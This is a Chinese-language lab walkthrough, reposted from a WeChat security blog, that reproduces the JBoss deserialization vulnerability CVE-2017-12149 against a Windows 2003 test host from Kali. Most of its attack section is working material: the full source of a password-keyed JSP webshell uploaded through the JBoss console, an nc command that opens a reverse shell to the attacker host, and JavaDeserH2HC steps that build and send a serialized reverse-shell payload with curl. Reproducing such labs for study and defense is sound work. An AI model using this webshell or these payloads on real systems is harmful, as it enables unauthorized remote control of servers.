Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

admin 2025年5月20日03:30:42评论2 views字数 3647阅读12分9秒阅读模式

环境

搭建jboss:win2003:(192.168.2.148) 攻击机:kali(192.168.2.129)

序列化

序列化就是将对象 object、字符串 string、数组 array、变量,转换成具有⼀定格式的字符串,使其能在文件储存或传输的过程中保持稳定的格式,目的就是为了方便传输。

什么是反序列化漏洞:

简单来说,反序列化就是序列化的逆过程。程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,通过在参数中注入⼀些代码,从而达到代码执行,SQL 注入,目录遍历等不可控后果,危害较大。 2017年9月14日,国家信息安全漏洞共享平台(CNVD)收录了 JBOSS Application Server 反序列化命令执行漏洞(CNVD-2017-33724,对应 CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。

Jboss 反序列化(CVE-2017-12149)的原理

JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。在/invoker/readonly路径下,攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化作进行任何检测,导致攻击者可以执行任意代码。

JBoss 反序列漏洞利用

实验环境

win2003

影响版本

JBoss 5.x / 6.x

文件及源代码

需要的在私信或者后台免费领取Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

搭建环境(Win2003)

安装 java(JDK-6u45-windows-i586.exe)

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell
Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

配置java环境变量

安装jdk配置环境变量

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell
Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

新建环境变量

新建变量JAVA_HOME
变量值:C:Program FilesJavajdk1.8.0_162(JDK的安装路径,这里以你自己的安装路径为准)
Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell
新建CLASSPATH 变量
变量值为:.;%JAVA_HOME%lib;%JAVA_HOME%libtools.jar(注意前面是有一个点的),配置好之后如下图,这里是可以复制粘贴的
Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell
配置path

找到path,双击或者点编辑,

;%JAVA_HOME%bin
Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

点击确定即可

测试是否成功安装
java -versionjavacjava
Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell
Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

安装jboss

安装 jboss,把 jboss 文件夹放到 c 盘中,为了看着方便,我们将文件夹改名为 jboss

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

配置 jboss 环境变量

新建系统变量:变量名:JBOSS_HOME  变量值:C:jboss变量名:SystemRoot  变量值:C:windows新建用户变量:变量名为:Path      变量值:%SystemRoot%/system32;%SystemRoot%;%JBOSS_HOME%bin
Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell
Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell环境变量配置完毕。

接下来做一些设置,找到 server.xml 文件,修改 ip 地址和端口,修改之前先备份一下  通过记事本打开这个 server.xml 文件,找到 ip 地址配置。将这个${jboss.bind.address}改为 0.0.0.0 即可。如果想改端口的话,将 8080 改为 80 即可(不建议)。保存之后关闭,然后重新运行 jboss 。Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shellJboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell双击run.bat,解压的可能比较慢

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell然后通过问一下 jboss 网址,http://192.168.2.148:8080 ,注意,一定要输入 http://才行,jboss 默认端口时 8080,(如IIS 中有网站端口冲突,记得修改)我们在浏览器输入如下网址,查看效果。(注意先不要启动jspstudy2016,否则会打不开这个 Jboss 控制台!!防止端口冲突)

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell输入admin,admin登录Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

通过jboss部署网址

在控制台中找到web application(war)s --add a new resource--选择war文件上传--访问http://192.168.2.148:8080/test3693

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell和 struct2 差不多,也是部署 war 包项目,放到当前文档所在目录中,大家可以直接选 test3693.war 使用Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

我们就可以直接访问了,重新打开 IE 浏览器中输入如下网址看效果: http://192.168.2.148:8080/test3693/

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

上传木马

在这里可以直接上传木马 test.jsp.密码:passwd

<%!    class U extends ClassLoader {        U(ClassLoader c) {            super(c);        }        public Class g(byte[] b) {return super.defineClass(b, 0, b.length);        }    }    public byte[] base64Decode(String str) throws Exception {        try {            Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);        } catch (Exception e) {            Class clazz = Class.forName("java.util.Base64");            Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);        }    }%><%    String cls = request.getParameter("passwd");if (cls != null) {        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);    }%>
Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

上传成功

连接蚁剑

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell
Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

连接成功

漏洞检测

(1)访问链接(自己的IP)http://192.168.2.148:8080/invoker/readonly

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell返回 500,一般就可以认为反序列漏洞存在检测发现漏洞Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

执行Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

命令执行成功!!

反弹shell

蚁剑反弹

开启监听端口

前面已经上传了jsp木马,蚁剑成功连接上了,先在kali开启监听窗口

nc -lvvp 8888
Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

nc反弹shell

我们先把nc上传到win2003(受害机),下载地址:https://eternallybored.org/misc/netcat/

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell
Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell
nc.exe 192.168.2.129 8888 -e cmd.exe

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shellkali返回成功

javaDeserH2HC反弹

为了保证连接的稳定,就可以用我们的测试利用工具进行反弹:JavaDeserH2HC(需要安装配置jdk环境)

下载javaDeserH2HC

下载地址:https://github.com/joaomatosf/JavaDeserH2HC

解压到KALI后执行如下反弹shell命令。

编译生成数据流

用指定的类路径(当前目录和 commons-collections-3.2.1.jar)编译 ReverseShellCommonsCollectionsHashMap.java 文件,生成对应的 .class 文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell启动 ReverseShellCommonsCollectionsHashMap 程序,运行时能访问当前目录和 commons-collections-3.2.1.jar 中的类,192.168.2.129:4445(是kali监听的ip地址)的反弹shell用来做远程连接或其他网络操作。

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.2.129:4445
Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

执行完成会在当前目录下生成一个.ser序列化数据流Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

kali开启监听端口

nc -lvvp 4445
Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

发送数据包

curl http://192.168.2.148:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

反弹shell成功

Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

这里有一个注意的点就是jdk的版本要低于1.8,最好是1.8

感兴趣的可以关注微信 公众号【Cauchy网安】,一起一步步慢慢来,该到达的高度终将会抵达的,加油,如有雷同纯属巧合

原文始发于微信公众号(Cauchy网安):Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月20日03:30:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shellhttp://cn-sec.com/archives/4081771.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息